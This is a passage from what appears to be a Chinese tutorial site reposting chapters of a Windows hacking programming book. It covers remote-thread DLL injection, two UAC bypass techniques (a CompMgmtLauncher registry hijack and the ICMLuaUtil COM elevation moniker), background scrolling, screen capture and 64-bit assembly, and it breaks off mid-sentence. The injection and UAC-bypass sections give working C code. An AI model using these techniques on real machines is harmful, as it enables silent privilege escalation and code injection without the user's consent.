    hProcess [in]要修改的进程内存的句柄。 句柄必须具有PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问进程。lpBaseAddress [in]指向写入数据的指定进程中的基地址的指针。 在数据传输发生之前,系统会验证指定大小的基地址和内存中的所有数据是否可以进行写入访问,如果不可访问,则该函数将失败。lpBuffer [in]指向缓冲区的指针,其中包含要写入指定进程的地址空间的数据。nSize [in]要写入指定进程的字节数。lpNumberOfBytesWritten [out]指向变量的指针,该变量接收传输到指定进程的字节数。 此参数是可选的。 如果lpNumberOfBytesWritten为NULL,则忽略该参数。
    返回值

    如果函数成功,则返回值不为零。如果函数失败,返回值为0(零)。 要获取扩展错误信息,请调用GetLastError。

    CreateRemoteThread 函数
    创建在另一个进程的虚拟地址空间中运行的线程。使用CreateRemoteThreadEx函数创建在另一个进程的虚拟地址空间中运行的线程,并可选地指定扩展属性。
    函数声明
    HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_ LPDWORD lpThreadId);
    参数

    hProcess [in]要创建线程的进程的句柄。 句柄必须具有PROCESS_CREATE_THREAD,PROCESS_QUERY_INFORMATION,PROCESS_VM_OPERATION,PROCESS_VM_WRITE和PROCESS_VM_READ访问权限,如果某些平台上没有这些权限,可能会失败。 有关更多信息,请参阅流程安全和访问权限。lpThreadAttributes [in]指向SECURITY_ATTRIBUTES结构的指针,该结构指定新线程的安全描述符,并确定子进程是否可以继承返回的句柄。 如果lpThreadAttributes为NULL,则线程将获得默认安全描述符,并且该句柄不能被继承。 线程的默认安全描述符中的访问控制列表(ACL)来自创建者的主令牌。dwStackSize [in]堆栈的初始大小,以字节为单位。 系统将此值循环到最近的页面。 如果此参数为0(零),则新线程使用可执行文件的默认大小。 有关更多信息,请参阅线程堆栈大小。lpStartAddress [in]指向由线程执行的类型为LPTHREAD_START_ROUTINE的应用程序定义函数的指针,并表示远程进程中线程的起始地址。 该功能必须存在于远程进程中。 有关更多信息,请参阅ThreadProc。lpParameter [in]指向要传递给线程函数的变量的指针。dwCreationFlags [in]控制线程创建的标志。若是 0,则表示线程在创建后立即运行。lpThreadId [out]指向接收线程标识符的变量的指针。如果此参数为NULL,则不返回线程标识符。
    返回值

    如果函数成功,则返回值是新线程的句柄。如果函数失败,返回值为NULL。 要获取扩展错误信息,请调用GetLastError。

    实现原理远线程注入 DLL 中的远线程,是因为使用的关键函数是 CreateRemoteThread,来在其它的进程空间中创建一个线程。那么,它为何能够使其它进程加载一个 DLL,实现 DLL 注入呢?接下来我就为大家一一分析。
    首先,我们加载一个 DLL,通常使用 LoadLibrary 函数来实现 DLL 的动态加载。那么,先来看下 LoadLibrary 函数的声明:
    HMODULE WINAPI LoadLibrary( _In_ LPCTSTR lpFileName);
    从上面的函数声明可以知道,LoadLibrary 函数的参数只有一个,传递的是要加载的 DLL 的路径字符串。
    然后,我们再看下创建远线程的函数 CreateRemoteThread 的函数声明:
    HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_ LPDWORD lpThreadId);
    我们可以从声明中知道,CreateRemoteThread 需要传递的是目标进程空间的多线程函数地址,以及多线程的参数。
    接下来,我们将上述两者结合,开始大胆设想一下,如果,我们能够获取目标进程的 LoadLibrary 函数的地址,而且还能够获取目标进程空间中某个 DLL 路径的字符串地址,那么,将LoadLibrary 函数的地址作为多线程函数的地址,某个 DLL 路径字符串作为多线程函数的参数,传递给 CreateRemoteThread 函数在目标进程空间创建一个多线程,这样能不能创建成功呢?答案是可以的。这样,就可以在目标进程空间中创建一个多线程,这个多线程就是 LoadLibrary 函数加载 DLL。
    那么,这样远线程注入的原理大概就了解了吧。那么要实现远线程注入 DLL,还需要解决以下两个问题:一是目标进程空间的 LoadLibrary 函数地址是多少呢?二是如何向目标进程空间中写入 DLL 路径字符串数据呢?
    对于第一个问题,我们知道由于机制随机化ASLR(Address space layout randomization),导致每次开机时加载的系统 DLL 的加载基址都不一样,从而导致了 DLL 的导出函数的地址也都不一样。即使如此,但要注意一个关键的一个知识点就是:

    有些系统DLL中的指令是Position dependent的,要求所有进程中必须一致。比如kernel32中的新线程入口,ntdll中的异常处理入口等。其实这个地址只是要求系统启动之后必须固定,如果系统重新启动,其地址可以不同。
    Copy-On-Write机制,不改多进程共享,改写内容的页系统会立即给当前进程复制一份,这样这个地址与其它进程中相同地址所映射的物理内存就不同了,怎么改都不会影响其它进程。

    也就是说,虽然不同进程,但是其 Kernel32.dll 的加载基址是相同的,也就是说,自己程序空间的 LoadLibrary 函数地址和其它进程空间的 LoadLibrary 函数地址相同。
    对于第二个问题,我们可以直接调用 VirtualAllocEx 函数在目标进程空间中申请一块内存,然后再调用 WriteProcessMemory 函数将指定的 DLL 路径写入到目标进程空间中。
    这样,我们就可以调用 CreateRemoteThread 函数,实现远线程注入DLL了。
    编码实现// 使用 CreateRemoteThread 实现远线程注入BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char *pszDllFileName){ HANDLE hProcess = NULL; DWORD dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; // 打开注入进程,获取进程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; } // 在注入进程中申请内存 dwSize = 1 + ::lstrlen(pszDllFileName); pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (NULL == pDllAddr) { ShowError("VirtualAllocEx"); return FALSE; } // 向申请的内存中写入数据 if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory"); return FALSE; } // 获取LoadLibraryA函数地址 pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA"); return FALSE; } // 使用 CreateRemoteThread 创建远线程, 实现 DLL 注入 HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL); if (NULL == hRemoteThread) { ShowError("CreateRemoteThread"); return FALSE; } // 关闭句柄 ::CloseHandle(hProcess); return TRUE;}
    程序测试我们对 520.exe 进程注入我们的测试 DLL,DLL 成功注入到 520.exe 进程空间中:


    总结要注意以管理员权限运行程序,因为由于 OpenProcess 函数的缘故,打开高权限的进程时,会因进程权限不足而无法打开进程,获取进程句柄。其中,我们将当前进程令牌权限提升至 SE_DEBUG_NAME权限,具体的进程令牌权限提升可以参考 “使用AdjustTokenPrivileges函数提升进程访问令牌的权限“ 这篇文章。
    这个是传统的远线程注入 DLL 方法,有一个问题就是,不能成功注入到一些系统服务进程,因为系统存在 SESSION 0 隔离。接下来,就继续讲解突破 SESSION 0 隔离的远线程注入,成功向系统服务进程注入 DLL。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2019-01-12 09:21:05
  • 图片显示特效之背景循环滚动

    背景大家玩游戏的时候,特别是横板游戏,应该会注意到,角色移动的时候,背景是会不停的变化的。如果游戏地图很大的话,可能背景不会重复,但是,如果游戏地图很小的话,大家应该会发现地图会循环显示。背景的循环显示,可以帮助节约游戏的图片资源,同时也可以增加游戏的趣味性。
    那么,本文想要介绍的就是背景图片的循环滚动的实现原理和过程。之前,自己写的小游戏也常使用到这个技术,现在,就把学习的心得写成文档,分享给大家。
    实现原理为了方便大家理解背景的单向循环滚动的原理,我就详细分析一个简单的实例。首先,我们先来看下面这张图片,这张图片被均匀分成:红、绿、蓝三个部分。

    那么,如果要实现它单向循环滚动的话,就应该每次循环都要“移花接木”般地绘图。意思是说,如果,图片向左单向滚动的话,那就每次循环,都要把左边一小部分的图片,移到图片末尾,然后再统一显示。每次循环都如此,这样就实现了背景的单向循环滚动。
    就以上面的图片为例子,首先第 1 次循环,我们看到的效果是这样的:

    第 2 次循环,我们把左边一小部分,目前是红色部分移到图片末尾,再显示出来,图片效果是:

    第 3 次循环,我们仍然是把把左边一小部分,目前是绿色部分移到图片末尾,再显示出来,图片效果是:

    再往下循环,那么大家应该可以看到规律了吧,图片重复了,又开始从头开始进行操作循环显示了。图片还是这一张图片,但是,我们把“移花接木”地显示,每次把左边的一小部分画面,都放到图片末尾来绘制,就能实现动态的效果。
    编程实现 int iWidth = 640; // 图片宽度 int iHeight = 480; // 图片高度 int iWidthRecord = 0; // 移动宽度记录 int m = 10; // 每次循环移动宽度 while (TRUE) { // 背景单向循环滚动 WindowShadesPaint(hWnd, iWidthRecord); // 更新绘制宽度 iWidthRecord = (iWidthRecord + m) % iWidth; // 停顿一下 Sleep(50); }
    // 背景单向循环滚动BOOL WindowShadesPaint(HWND hWnd, int iWidthRecord){ // 获取窗口的客户区域的显示设备上下文环境的句柄 HDC hDC = ::GetDC(hWnd); // 创建一个与hDC兼容的内存设备上下文环境 HDC hBuf = ::CreateCompatibleDC(hDC); // 加载位图, 获取位图句柄 HBITMAP hBmp = (HBITMAP)::LoadImage(NULL, "test.bmp", IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE); // 选择位图句柄到hBuf中, 并获取返回的原来位图句柄 HBITMAP hOldBmp = (HBITMAP)::SelectObject(hBuf, hBmp); // 背景单向循环滚动 int iWidth = 640; // 图片宽度 int iHeight = 480; // 图片高度 // 绘制左边部分 ::BitBlt(hDC, 0, 0, (iWidth-iWidthRecord), iHeight, hBuf, iWidthRecord, 0, SRCCOPY); // 绘制右边部分 ::BitBlt(hDC, (iWidth - iWidthRecord), 0, iWidthRecord, iHeight, hBuf, 0, 0, SRCCOPY); // 还原位图对象 ::SelectObject(hBuf, hOldBmp); // 释放位图 ::DeleteObject(hBmp); // 释放兼容的内存设备上下文环境 ::DeleteDC(hBuf); // 释放设备上下文环境 ::ReleaseDC(hWnd, hDC); return TRUE;}
    程序测试我们呢就直接运行程序,直接可以看到图片在单向的循环滚动显示。由于画面是动态的,所以,我就截几张代表性的图片作为展示。



    总结类似的实现原理,如果之前你们有接触过,可以先把程序实现出来,然后,一边运行程序,看着实现效果对应实现原理去理解比较好。
    其中,要注意的是,因为这个图片显示,是一直循环显示的,所以,如果显示图片的这段代码放在窗口主线程的话,窗口会一直被卡住,所以,建议这段显示部分的代码,创建一个多线程,把它放在多线程中显示,这样就不会影响主线程的操作了。
    1 回答 2019-01-09 12:16:55
  • Bypass UAC 提权小结

    背景UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。
    UAC需要授权的动作包括:配置Windows Update;增加或删除用户账户;改变用户的账户类型;改变UAC设置;安装ActiveX;安装或移除程序;安装设备驱动程序;设置家长控制;将文件移动或复制到Program Files或Windows目录;查看其他用户文件夹等。
    在触发 UAC 时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。
    所以,病毒木马想要实现更多权限操作,那么就不得不绕过UAC弹窗,在没有通知用户情况下, 静默地将程序普通权限提升为管理员权限,从而程序可以实现一些需要权限的操作。目前实现Bypass UAC的方法主要有两种方法,一种是利用白名单提权机制,另一种是利用COM组件接口技术。接下来,分别介绍这两种Bypass UAC的实现方法。
    6.2.1 基于白名单程序Bypass UAC有些系统程序是直接获取管理员权限,而不会触发UAC弹框,这类程序称为白名单程序。例如,slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。可以通过对这些白名单程序进行DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作。
    接下来,选取白名单程序CompMgmtLauncher.exe计算机管理程序进行详细分析,利用它实现Bypass UAC提权。下述的分析过程是在64位Windows 10操作系统上完成的,使用到的关键工具软件是进程监控器Procmon.exe。
    实现过程首先,直接到System32目录下运行CompMgmtLauncher.exe程序,并没有出现UAC弹窗,直接显示计算机管理的窗口界面。其中,使用进程监控器Procmon.exe来监控CompMgmtLauncher.exe进程的所有操作行为,主要是监控注册表和文件的操作。通过分析Procmon.exe的监控数据发现,CompMgmtLauncher.exe进程会先查询注册表HKCU\Software\Classes\mscfile\shell\open\command中数据,发现该路径不存在后,继续查询注册表HKCR\mscfile\shell\open\command\(Default)中的数据并读取,该注册表路径中存储着mmc.exe进程的路径信息,如图6-1所示。然后,CompMgmtLauncher.exe会根据读取到的路径启动程序,显示计算机管理的窗口界面。

    在CompMgmtLauncher.exe启动的过程中,有一个关键的操作就是它会先读取注册表HKCU\Software\Classes\mscfile\shell\open\command的数据。打开系统注册表编辑器regedit.exe,查看相应路径下的注册表,发现该注册表路径确实不存在。所以,如果自己构造该注册路径,写入启动程序的路径,这样,CompMgmtLauncher.exe便会启动该程序。为了验证这个猜想,自己手动添加该注册表路径,并设置默认的数据为C:\Windows\System32\cmd.exe,然后使用Procmon.exe进行监控并运行CompMgmtLauncher.exe,成功弹出cmd.exe命令行窗口,而且提示管理员权限,如图6-2所示。

    查看Procmon.exe的监控数据,CompMgmtLauncher.exe确实直接读取HKCU\Software\Classes\mscfile\shell\open\command\(Default)注册表路径中的数据并启动,如图6-3所示。

    所以,利用CompMgmtLauncher.exe白名单程序Bypass UAC提权的原理便是,程序自己创建并添加注册表HKCU\Software\Classes\mscfile\shell\open\command\(Default),并写入自定义的程序路径。接着,运行CompMgmtLauncher.exe程序,完成Bypass UAC提权操作。其中,HKEY_CURRENT_USER注册表是用户注册表,程序使用普通权限即可进行修改。
    那么,基于CompMgmtLauncher.exe白名单程序Bypass UAC具体实现代码如下所示。
    // 修改注册表BOOL SetReg(char *lpszExePath){ HKEY hKey = NULL; // 创建项 ::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL); if (NULL == hKey) { ShowError("RegCreateKeyEx"); return FALSE; } // 设置键值 ::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + ::lstrlen(lpszExePath))); // 关闭注册表 ::RegCloseKey(hKey); return TRUE;}
    测试直接运行上述程序,向注册表HKCU\Software\Classes\mscfile\shell\open\command\(Default)中写入cmd.exe的路径,启动cmd.exe进程。cmd.exe成功启动,窗口标题显示管理员字样,如图6-4所示。

    6.2.2 基于COM组件接口Bypass UACCOM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序用提升权限的方法来激活COM类,以此提升COM接口权限。其中,ICMLuaUtil接口中提供了ShellExec方法来执行命令,创建指定进程。所以,本文介绍的基于ICMLuaUtil接口的Bypass UAC的实现原理是利用COM提升名称(COM Elevation Moniker)来对ICMLuaUtil接口提权,提权后通过调用ShellExec方法来创建指定进程,实现Bypass UAC操作。
    使用权限提升COM类的程序必须调通过用CoCreateInstanceAsAdmin函数来创建COM类,CoCreateInstanceAsAdmin函数的代码可以在MSDN网页( https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx )上找到,下面给出的是CoCreateInstanceAsAdmin函数的改进代码,增加了初始化COM环境的代码。
    那么,COM提升名称具体的实现代码如下所示。
    HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid){ BIND_OPTS3 bo; WCHAR wszCLSID[MAX_PATH] = { 0 }; WCHAR wszMonikerName[MAX_PATH] = { 0 }; HRESULT hr = 0; // 初始化COM环境 ::CoInitialize(NULL); // 构造字符串 ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0]))); hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID); if (FAILED(hr)) { return hr; } // 设置BIND_OPTS3 ::RtlZeroMemory(&bo, sizeof(bo)); bo.cbStruct = sizeof(bo); bo.hwnd = hWnd; bo.dwClassContext = CLSCTX_LOCAL_SERVER; // 创建名称对象并获取COM对象 hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid); return hr;}
    执行上述代码,即可创建并激活提升权限的COM类。ICMLuaUtil接口通过上述方法创建后,直接调用ShellExec方法创建指定进程,完成Bypass UAC的操作。
    那么,基于ICMLuaUtil接口Bypass UAC的具体实现代码如下所示。
    BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable){ HRESULT hr = 0; CLSID clsidICMLuaUtil = { 0 }; IID iidICMLuaUtil = { 0 }; ICMLuaUtil *CMLuaUtil = NULL; BOOL bRet = FALSE; do { ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil); ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil); // 提权 hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil)); if (FAILED(hr)) { break; } // 启动程序 hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW); if (FAILED(hr)) { break; } bRet = TRUE; }while(FALSE); // 释放 if (CMLuaUtil) { CMLuaUtil->lpVtbl->Release(CMLuaUtil); } return bRet;}
    要注意的是,如果执行COM提升名称(COM Elevation Moniker)代码的程序身份是不可信的,则会触发UAC弹窗,若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在Windows的可信程序中运行。其中,可信程序有计算器、记事本、资源管理器、rundll32.exe等。所以可以通过DLL注入或是劫持等技术,将这段代码注入到这些可信程序的进程空间中执行。其中,最简单的莫过于直接通过rundll32.exe来加载DLL,执行COM提升名称的代码。
    其中,利用rundll32.exe来调用自定义DLL中的导出函数,导出函数的参数和返回值是有特殊规定的,必须是如下形式。
    // 导出函数给rundll32.exe调用执行void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)测试将上述Bypass UAC的代码写在DLL的项目工程中,同时开发Test控制台项目工程,负责并将BypassUAC函数导出给rundll32.exe程序调用,完成Bypass UAC工作。Bypass UAC启动的是cmd.exe程序,所以,直接运行Test.exe即可看到cmd.exe命令行窗口,而且窗口标题有管理员字样,如图6-5所示。

    小结对于上述基于白名单程序实现Bypass UAC的程序编译为32位程序,测试环境运行在64位Windows 10系统上。当32位程序访问64位的System32文件目录的时候,会出现文件重定向,可以调用Wow64DisableWow64FsRedirection和Wow64RevertWow64FsRedirection函数来关闭和恢复文件重定向。而且,32位在操作64位系统的注册表的时候,也会出现注册表重定向的情况,可以在调用RegCreateKeyEx函数打开注册表的时候,设置KEY_WOW64_64KEY注册表访问权限,以确保能正确访问64位下的注册表,不被注册表重定向。
    对于上述基于COM组件接口技术实现Bypass UAC的程序编译为DLL项目工程,通过被可信程序类似rundll32.exe加载调用方可不弹窗Bypass UAC。调用COM函数之前,一定要先调用CoInitialize函数来初始化COM环境,否则调用COM接口函数失败。
    实现Bypass UAC的方法很多,并不局限于白名单程序和COM接口技术。不同的Bypass UAC方法,其具体的实现过程大都不一样。随着操作系统的升级更新,现在Bypass UAC成功的方法,可能在以后不再适用,但,也会有新的Bypass UAC的方法出现,攻与防是相互博弈的过程。
    对这方面技术感兴趣的读者,可以到GITHUB开源平台上搜索UACME的开源项目,里面收集了很多关于Bypass UAC的方法。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2019-01-08 08:35:42
  • 包含鼠标位置的屏幕截屏并保存为图片文件

    背景在开发自己的专属程序“恶魔的结界”的时候,里面就有一个功能,实现屏幕的截屏,而且是包含鼠标位置的截屏。因为,通常情况下,我们看到的截屏都是没有显示鼠标的截屏,这次我们需要实现显示鼠标的截屏。而且,保存为本地的图片文件。
    现在,我就把这个小程序的实现过程和实现原理写成文档,分享给大家。
    函数介绍GetDesktopWindow 函数
    该函数返回桌面窗口的句柄。桌面窗口覆盖整个屏幕。桌面窗口是一个要在其上绘制所有的图标和其他窗口的区域。
    函数声明
    HWND WINAPI GetDesktopWindow(void);
    参数

    无参数。
    返回值

    返回桌面窗口的句柄。

    GetDC 函数
    该函数检索一指定窗口的客户区域或整个屏幕的显示设备上下文环境的句柄,以后可以在GDI函数中使用该句柄来在设备上下文环境中绘图。
    函数声明
    HDC GetDC( HWND hWnd);
    参数

    hWnd:设备上下文环境被检索的窗口的句柄,如果该值为NULL,GetDC则检索整个屏幕的设备上下文环境。
    返回值

    若执行成功,则返回指定窗口的客户区域或整个屏幕的显示设备上下文环境的句柄;若执行失败,则返回NULL。

    CreateCompatibleDC 函数
    该函数创建一个与指定设备兼容的内存设备上下文环境(DC)。
    函数声明
    HDC CreateCompatibleDC( HDC hdc );
    参数

    hdc:现有设备上下文环境的句柄,如果该句柄为NULL,该函数创建一个与应用程序的当前显示器兼容的内存设备上下文环境。
    返回值

    如果成功,则返回内存设备上下文环境的句柄;如果失败,则返回值为NULL。

    CreateCompatibleBitmap 函数
    创建与与指定设备上下文关联的设备兼容的位图。
    函数声明
    HBITMAP CreateCompatibleBitmap( _In_ HDC hdc, _In_ int nWidth, _In_ int nHeight);
    参数

    hdc [in]设备上下文的句柄。nWidth [in]位图宽度,以像素为单位。nHeight [in]位图高度,以像素为单位。
    返回值

    如果函数成功,则返回值是兼容位图(DDB)的句柄。如果函数失败,返回值为NULL。

    SelectObject 函数
    该函数选择一对象到指定的设备上下文环境中,该新对象替换先前的相同类型的对象。
    函数声明
    HGDIOBJ SelectObject( HDC hdc, HGDIOBJ hgdiobj );
    参数

    hdc:设备上下文环境的句柄。hgdiobj:被选择的对象的句柄,该指定对象必须由如下的函数创建。
    返回值

    如果选择对象不是区域并且函数执行成功,那么返回值是被取代的对象的句柄;如果选择对象是区域并且函数执行成功,返回如下一值:
    ​ SIMPLEREGION:区域由单个矩形组成;
    ​ COMPLEXREGION:区域由多个矩形组成;
    ​ NULLREGION:区域为空。
    如果发生错误并且选择对象不是一个区域,那么返回值为NULL,否则返回HGDI_ERROR。


    BitBlt 函数
    对指定的源设备环境区域中的像素进行位块(bit_block)转换,以传送到目标设备环境。
    函数声明
    BOOL BitBlt( HDC hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, HDC hdcSrc, int nXSrc, int nYSrc, DWORD dwRop);
    参数

    hdcDest:指向目标设备环境的句柄。nXDest:指定目标矩形区域左上角的X轴逻辑坐标。nYDest:指定目标矩形区域左上角的Y轴逻辑坐标。nWidth:指定源在目标矩形区域的逻辑宽度。nHeight:指定源在目标矩形区域的逻辑高度。hdcSrc:指向源设备环境的句柄。nXSrc:指定源矩形区域左上角的X轴逻辑坐标。nYSrc:指定源矩形区域左上角的Y轴逻辑坐标。dwRop:指定光栅操作代码。这些代码将定义源矩形区域的颜色数据,如何与目标矩形区域的颜色数据组合以完成最后的颜色。
    返回值

    如果函数成功,那么返回值非零;如果函数失败,则返回值为零。

    GetSystemMetrics 函数
    检索指定的系统度量或系统配置设置。
    函数声明
    int WINAPI GetSystemMetrics( _In_ int nIndex);
    参数

    nIndex [in]要检索的系统度量或配置设置。 此参数可以是以下值之一。 请注意,所有SM_CX 值都是宽度,所有SM_CY 值都是高度。 还要注意,设计为返回布尔数据的所有设置都表示TRUE作为任何非零值,FALSE为零值。
    其中,SM_CXSCREEN表示主显示屏的屏幕宽度,以像素为单位。 这是通过调用GetDeviceCaps获得的相同的值;SM_CYSCREEN表示主显示屏的屏幕高度,以像素为单位。 这是通过调用GetDeviceCaps获得的相同的值。

    返回值

    如果函数成功,则返回值是所请求的系统度量或配置设置。如果函数失败,则返回值为0。

    实现原理获取桌面屏幕位图句柄的实现原理是:

    首先,使用GetDesktopWindow获取桌面窗口的句柄
    然后,根据句柄使用GetDC获取桌面窗口的设备环境上下文句柄。同时使用CreateCompatibleDC创建与桌面窗口兼容的内存设备上下文环境
    接着,使用GetSystemMetrics获取计算机显示屏幕的宽和高的像素值,并调用CreateCompatibleBitmap兼容位图
    最后,使用SelectObject将把创建的兼容位图选进兼容内存设备上下文环境中,并使用BitBlt函数把桌面内容绘制到兼容位图上

    这样,我们就获取了屏幕内容的位图句柄了.
    对于鼠标的获取,则需要另外绘制上去。

    首先,使用GetCursorPos获取以屏幕坐标表示的鼠标的位置
    然后,使用GetCursor函数获取当前光标的句柄
    最后,调用DrawIcon函数将鼠标绘制到兼容设备上下文环境中,也就是在上述屏幕截屏的基础上,绘制鼠标

    最后,我们就可以使用基于 CImage 类的方法保存位图。
    编码实现截屏,获取屏幕位图的句柄 // 获取屏幕截屏 // 获取桌面窗口句柄 HWND hDesktop = ::GetDesktopWindow(); // 获取桌面窗口DC HDC hdc = ::GetDC(hDesktop); // 创建兼容DC HDC mdc = ::CreateCompatibleDC(hdc); // 获取计算机屏幕的宽和高 DWORD dwWidth = ::GetSystemMetrics(SM_CXSCREEN); DWORD dwHeight = ::GetSystemMetrics(SM_CYSCREEN); // 创建兼容位图 HBITMAP bmp = ::CreateCompatibleBitmap(hdc, dwWidth, dwHeight); // 选中位图 HBITMAP holdbmp = (HBITMAP)::SelectObject(mdc, bmp); // 将窗口内容绘制到位图上 ::BitBlt(mdc, 0, 0, dwWidth, dwHeight, hdc, 0, 0, SRCCOPY);
    绘制鼠标 // 绘制鼠标 POINT p; //获取当前屏幕的鼠标的位置 ::GetCursorPos(&p); //获得鼠标图片的句柄 HICON hIcon = (HICON)::GetCursor(); //绘制鼠标图标 ::DrawIcon(mdc, p.x, p.y, hIcon);
    根据位图句柄保存为文件BOOL SaveBmp(HBITMAP hBmp){ CImage image; // 附加位图句柄 image.Attach(hBmp); // 保存成jpg格式图片 image.Save("mybmp1.jpg"); return TRUE;}
    程序测试运行程序,生成图像文件。查看图片,程序截屏成功,而且包含鼠标位置和状态。

    总结通常情况下的截屏,之所以没有鼠标,是因为鼠标需要另外绘制上去。所以我们获取鼠标的位置以及当时的鼠标状态图标,绘制到图像上,这样就实现了带鼠标位置信息的截屏功能。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2019-01-06 10:18:56
  • 内联汇编之64位程序

    背景内联汇编是指在 C/C++ 代码中嵌入的汇编代码,与全部是汇编的汇编源文件不同,它们被嵌入到 C/C++ 的大环境中。内联汇编方式两个作用,一是程序的某些关键代码直接用汇编语言编写,可提高代码的执行效率;二是有些操作无法通过高级语言实现,或者实现起来很困难,必须借助汇编语言达到目的。
    32 位程序和 64 位程序下使用内联汇编的方式,有很大的差别。现在,我们对此分别进行介绍。本篇文章主要介绍的是在 64 位程序中使用内联汇编。
    VS2013中添加并编译 .asm 文件步骤在 64 位程序中,已经不能使用关键字 __asm 来添加汇编代码,而应把汇编代码全部写在 .asm 文件中,然后,再将 .asm 包含到项目中编译链接。现在,我们就先来讲解如何使用 VS2013 添加并编译 .asm 文件的步骤。
    注意,以下演示实现从 x86 模式,即 Win32 模式下开始,如果从 x64 模式开始,在设置 .asm 文件的“自定义生成工具”的时候会卡死或者无反应。从 Win32 模式开始设置后,再新建 x64 模式,并从 Win32 模式复制设置,这样就可以成功对 .asm 文件设置“自定义生成工具”。
    首先,我们在本地上新建一个 .asm 格式的文件 “myasm.asm”之后,右击项目工程并选择“添加” —> “现有项”,然后选择我们新创建的“myasm.asm”文件,添加到工程中:

    然后,我们选中“myasm.asm”文件,并右击选择“属性”:

    在“myasm.asm属性页”中,设置 从生成中排除 为“否”,设置 项类型 为“自定义生成工具”,然后,点击“应用”。这时,在窗口左侧就会生成“自定义生成工具”的扩展栏。如果是从 x64 模式下设置的,在一步,会没有反应或者卡死。所以,一定要从 Win32 模式开始,再创建 x64 模式,并把 Win32 的设置复制到 x64 模式中,便可以解决这个问题。

    接着,我们开始新建 x64 模式,因为我们要开发的是 64 位程序。我们选中项目工程,以此选择 “属性” —> “配置属性” —> “配置管理器” —> “活动解决方案平台”选择“新建”。这时,就会来到“新建解决方案平台”页面。我们选择“x64”,并从 Win32 中复制设置,创建新的项目平台,点击“确定”。这时,就可以使用 x64 模式编译 64 位程序了。

    然后,我们继续对 .asm 文件进行设置,将其包含到项目工程中来编译链接。选中“myasm.asm”文件,右击选择“属性”,来到“myasm.asm”属性页进行设置。在 命令行 中输入“ml64 /c %(fileName).asm”,在 输出 中输入“%(fileName).obj”,其它保持默认即可,点击“确定”即可完成设置。

    经过上述几个步骤,我们成功为 x64 程序添加 .asm 文件并设置包含到项目工程中编译链接。接下来,我们就开始讲解如何在 .asm 文件中写汇编代码了。
    实现原理对于 64 位程序在 .asm 中写代码,需要遵循以下几个规则:

    会变文件 .asm 文件必须以关键字 .CODE 开始,关键字 END 结束,大小写都可以。
    .code ; 此处写汇编指令代码end

    所有的汇编代码以函数方式组织在一起。也就是说,我们要将汇编代码封装成一个个汇编函数。要注意 64 位汇编中的函数声明以及调用约定:
